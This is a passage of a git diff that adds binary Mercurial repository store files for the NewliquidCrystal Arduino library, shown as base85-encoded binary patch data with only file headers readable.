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 C$9x|E literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_fast_i_o.h.i b/libraries/NewliquidCrystal/.hg/store/data/_fast_i_o.h.i new file mode 100644 index 0000000000000000000000000000000000000000..744570edac8e3197b55188c88b06d2923b982a04 GIT binary patch literal 7049 zcmY*dby!qS7hW2c4r%G`Zlt6e5h>|fx>;IEKtdXU1?leYh6U-6kVXU%q(KyrZx{Lf z@tx0z|5?qstl>I)kvC1U!VY>i5pWI?I4IF)<5Ce3zq@AbXdR!##m$-JXT!&xp(&RY zGVaCHo#b>de_!6Sy)~Q%aiv}6Q@buB79G>*F}5}cSN&jHGPj>K*AhHeszs^lvZ>uA zBPV{FD9WO3E83n+>gcps(>;?kvtVH@1bnM7J}qXhaf>tiZXj$FIrhT=MV*ivxs4K1 zySE7RxE~OfZ&8ld(WNZy-@;tL9Eo<)?x?$^#eSdlZGlWrr8G;Z zN^IUv^bPzC`$5s^vMc(tOchuIEfDRQMPE@mJ1_T$9acyl2oqVt6Xm=wG!!HxmO0NrVuG7V~m!=pQ*ukEL!B}-5Iz05c%Zjw(? zUq27?0S^JxouFOs0=SHedEC$~ldRvw0Z5ee3bBjRJc06VPQt_~YATqb?A4O5 zRI)^Ai#$Ck^Wrm*m^nXyMO!|Y{(vPZy z_DGH=g=7B)VpOU78ytc%d6elbr6gAuS2!IqpC0))Ia0FFlLn8Ud&+~~`$CT1wBBJk zQFx{9tKucTCsQfdd%bo>$DBA^dBby+2G;5Fnddnsq+J54?!EtknjI%ExZ-wAZ8+py z5X%qsp3`Vr)%@d1r8m>*1&Jp*$@x~5(BAr2IUe80GSG>R>Bo1mDZmhVUO?fTXQO11?`pv>xWlr?5$5CtP*d7O9qG(ig9 zst(C}oQ%R;*#^-lInl}6!`cYD49pi$Wy2``4nOQAla)Ejv~SA?lRsxJ=C9^($`UeVdi}Z1GjHftch*Ht|8f73Qt!KyDzyMR z2==>z+Q1Hk1zzBSBB@Car@*^)=Pk|(gAff0%-Dqeu7z=ADZkssLo05(%^ad;9j6uQ z+;zS`NZY}QdX*#assJw~006=O06@qJ_h3Q~SMZu*6eJPL-5XAS5~2vSle3`3pyE@9 z|Ms7NA#pnD4n#6|PLj{jkx^tcWh0Ee(`GJ_o+mt^Me}*N^a1%7jo5|ruOs4dPuw*@ zWuYF~Tin0wntur@iusvn{YQGk%KQXh)|kZU{Af`Dx7r>eW=9lgenkQYU7dZNY}WCi z=6%L@XC2aw?j4=z2*9xSga*xOtxa#qcQ57^2%{i)hux-mtr#mwh@R^T&Wsycp!;d7OXdwj{EGwp#m#jnAu zAH{C$x>Re%%0s%R9{c_2d|&d%8v;lZlXs5!JcFYqQ8RVJ7B|qmVLpFB=2iW&u;+$& zHfT=u&-3&+C(JLxG{I#IkvfW@%b6}=65#!STGU3%loG$EFIY=j^_`jH(8O1msj!Wc zn|}ZK`Mm8{ZcmoL%QU_9sMokbOr<@-BMyJPoFOZ%ePj3QYdn{^c`Wu;TQk=K=(F4` z9b`tIoa5*@%uN^l;&aN46ud(Pl31>Ym~w3(42$I%P-PVmAp80RiY1wM+JsdCCWJW^We!>ct;LC?bav6 z@`T3IxgmU!PiM;5)DDB5si}C}WD*rpz3HhRKJH2UR#M`hV+xVGY*k|(Y8l&!Bd0_= z6dygLzgh(=4f^e;v9}oByCuCHFEO+3G%V;>bYv;$Uih7*HTIiBd&W&&8>1%Xn+?Z$ zz2I2DVH~4gO|B_O+D`kli7<46{n3M_G#jNC_>qkatd+5ULLhj_ATNE(l{hI9jL2tjerRN5c|MA zm@vT_BAmyfPm+-?FOC%F$*@*4xbuZD|B^I4ARZMMBA+0mI>>_;(LqIW^}|=6``wb( z&=_6lw)}HoJ6fNd@@ylS&_p;x(@~EwNFEoL%7tk|LWhXC!eXJ^3`?w#$?niXav0b? z^C`*-$+brMB-fAz^B9zexW}5rfK>HI=dE#OG=1kxFQ)`K7p`lyrKk9CF^Da2Qa)Z) z87a#}wa1()~IN?g6C|Ze?&r(Doj9!Gcj~{>TtB z%p$?5Ja;6w*GPDs{o1{q4YKASi{5YWK>s5S4oiTw;{UGE&L6ySSYQ8o1pxS9caY(I zfmxAUtz_Gp3787$4Rhs$!ja8C{r4Q)f+5!NlE8jxJO#8v#2I$1LTw`LT0A0N3rkA| z7Gk=38(}fhhWceN_OZp+%kk<{G>&5MMkm>`H!6gOy|V?R2SFmQCw38V@H?_K2D~Ix z3K;efBM%~y(1s>|el3lXPm12CssU@1aip`BEO{BD<@yC<)5LREia;gzrQPy`Qk=1K z1+3Q4q^n-Fwp1|0^NzmuF4RYBtESM}md+psiq3IxOtt=z0h?jzaYA*hkeM&2}LY^=v0*CW++fosYtI+Kp?f8#l;Eblrn+YJpE42o8ls zrQ*Q@0K{Py6&@8AkFIccv+B*Nwj=G zw5)-J2BoC)}&k0LfQRoXqBv?g@#*su^=}IQrHIpyc+=LRlf!Acy8#p zgpL{tK)Xc_zEl8!>2Qrm2mp}x!9AEL!x|cV1eptciufH4A+&`V6Xk9LgaKSqQV)nn z1%@=ePD@HSTS%_+#7s7^v z@fi}rVdjh>$&xC-mx@Tb;YzDYp?b8XPz^$mlbL(cn5lQlAY6PHx#it~or1~4MO^6q z^w0Ay8sP))3Q!D~X6O1tLV?Sb0fb$HY#cOv!;@%Y?`aF}v!mni9BUeo_)9C-XRg*1 zT`Y5yC!&Z=HSEQDok^n5fyxsxenyiSnv~iXdeAGiguw{(MQu8H%kFd&*~bxTGL7Bt z6{W|N4jh(cD?}U~Ve$OyYtN7zcpO^&Nrw#y6#osV-jfs49A=O|S}}+_h+mz5eOq}Y zMvZ1V@O*^9c%{7!=uy73P)*Ol+cfwZRjFv(57$ZCyv~@X@slnxXvITp%4fCSq;r|< zw{?^4$H>JQ6k|2!b1+Zzo~tOiVlqoS$I0#J24BwdP~REEx=7>R}b@8@3-3gA%Yi$(x3 z&z;T9SEz>TS> zNfUS(%l_(!n)i~WAD$UlKP-yWCH^)b0Qq^-6~(JM+`sToXV}L>h!pZGKcb@02Tw#oBiFF9mwsDW4MJ07m6By zAEA<10_1^`g(KMq3`W-;L7)e1CC_xbixXrtYd zdSYgDD#}*`_Yw18z>vWBDV0HKtl_O5Mfh1mdQvX`y^xH2!r5}EtFNfXzj zd>`)AbiLQBvgt~hCnNsm9AR+m<(=oaXb)!C&-3cfL@dr{uCG(&6|N;l18(1+iku)P z>Ke3X3^8XXDcHTx7h8z=%7vnPg_!ZRiaF%S^9)VF-;jVt3#!cu82-*#u)FaC!Fm#+ zFEoIA@Z;G5V?&Nm_ee0wP!Ggf}5L0+T6?2&c&TZ!O_JXWbRC( z0J1Wt;lu{Q;W##MjX(?lJgtO#Fo8!06aE@zFU%B8%9ubVeu?|W;luCvjh<-_h(`t6 zGHCUw3~1q1E=qUzj`_`|DebG{$@p;*`JK|}2#ppS1o%>{I~(2v{|%9{O0q5cGSGiC z$s^v7JbJlkRar6h`;bZ940Q_IfYbVr_Z6l-X%w@FE6sFfMbIJEQOGmYsH_ETx%Fv% z2_+N?(DcBp`DswaG%7Fap!`r$(|298T?~MxE?cdwrDvt~UbV$?{Nh43XETym904b) zV}9b$TklGRt<*b;#=|H5Q@cqWR^oH+%^R_j?ePkphrK%x0i;O#1nRgq{vXA;LsX6=WkT@0#BQMY_E4m#E0dwYwDpN=;^GvOxt1=tMls!dBl47&8<+L6 z?DpVLVD{_j0aZNPciIq*TlnSm$R(475^eK z#zChZF%Jelqs^?X0hXvtCR{WQqR9ND>?MW8*1JV)B5$v6{KTN*zpusp&)xH)QQJ@> zufx!xc&`$?uiR-&(C4cSbPN)Jx)oY!ACvWyGLp-+GBaLT;G5>>roxxX$0}fjJBIYtVIQsd-~j;sFpCXO1*YKgT>EUXzQ(J3;$YgVUNYQU z>PO6jdH87Gq2At4;{eo3ADRz+@}hzzBB|-BqWs*VB?62u`-&SG_!Xt<7^H;x4Y&t1 zWK2zIIeV07+h7%nUzArdPeibdfnQ3KR+yKYS5i<|uqHem6L1e87lXe5@8L9#Km-6# z!44e{0;d?ZYX;z0=9Taznv{KMMIW!tN`z`>>U+ffgZ$I*G?h^uFvH4Tl)Vp$1kc8O z`oJuMyzI-fG!!ljZBc30q+hB0m^3 zV$W*%zRj?=Us|Fs1Sw>}_|nqW7573^dbKg0{Os-UwhY^nQW#YlPRx6w2%#utS}wM< zO8F8o9!&r^UnfM8qQEjv%;(9NcW3jFW8KqfP>LO|8DSiUP@|^=8!+vl-`d5k3p}LjVIwn zuxSA_FalCg999w)P7Q+_^9`blMjGh6mu7wW#e&|4zwXn^2voeT#dR!?kCj*re70+F zQBSoO?RUpDTj^1TRc-sEN&jVOw&FL@+9XsoosjGy6T`Nm9LFe|`lkmefu~5WqLKLL z$MjnjY%XV5^f~?JimX0t-)zuL%JDXwZu?GYG|nS=y~G@)BVD{!DotyBkc{t(?*1a=cbUz?NgyzJpaNE6DX$+%35Hob z_+&9~$e;dMx;dXSG8rW;K9-$ic(lSG` zjcWs;H*?jU)cs&s&lZz|)8~QS!)|ESFPoJ1Yuz7b#;hpyE_H)Iv3mCw;t#rm4v`dR zp-0cuQ`-MTd0jorHZH+X+pLo*Ym4og>=Jp6UMs(pD0d?Ga%&l56|wsgPq3;FwaSjR zx%WwB>kRR(0!fW9l_9hrC970FiCgU0e-{A|qwhzfD*Gkjy;#Be0gu!2sN-6}SC$$3 zk}Nx`=07;+YF8+R^;9^ge?9gX6b&`pKP}nMZN0&HicXzuW7bGA@+(xjZ*RDMfS?iE z+S~7#UNGR&!GPnV-xes-F+=4#yZ>9k9N{fSBKG0tp`FN0+uA037-ZROsrp+)TK-$K z(#BH}oJF-{?!mnBhj0^4z-dP8gv}M$Htj*OU>YADZr1y^@*Dtn!TF8=w+)M4bOk=& z$I$)*f*}#Q6B;YhcqXZ5wxd7FTFNtl7|ZBNu7$u9cXZlP{JdgXdCA=Bg)3A&5fg{5 z_;+k3h0vToc#;>4e^6gebzQ6*Ff-v$);6Zu+FoV-?#>XT#k>jUxIm|Mu@^k~A-=BH zRo8S*9-6}LMOaIu!1u|Fx?LYy3MPe9)kIKrCW?Llv_}u!Kv2nx)k34seo}tt!6TsB!(gAW%F|%oU?Y2fy%g}YCat>IM z8MOq2NCc%33QWu$L$CwR?Xksvc@&&w3~H|-7x?644i2^2IF38Kvo&PH5jK8>dQSD6 z)$wh)jt3T3!o;c^>zrXU%_2kxEs`}>RP~GqTV;rhq(rSQ@u0mH_cC;h*|;ZhObUX) zDf=8xId+t_Yb?^}r~XCTGut};G&xT?ZCdJtEqQDZIVtx||;9<&&zGlg*5EQgrOw lkm)R+3n<6r@9{wzQ+eYMBjb-GOU3CM6Fmn~_d)?&{{tC76%POa literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_i2_c_i_o.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_i2_c_i_o.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..6dc953d5c76298f69c5c2ec1f0b8fa7de419d100 GIT binary patch literal 4028 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 ta0hEc7XufbDV_0R$i=pGkv*YQe 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 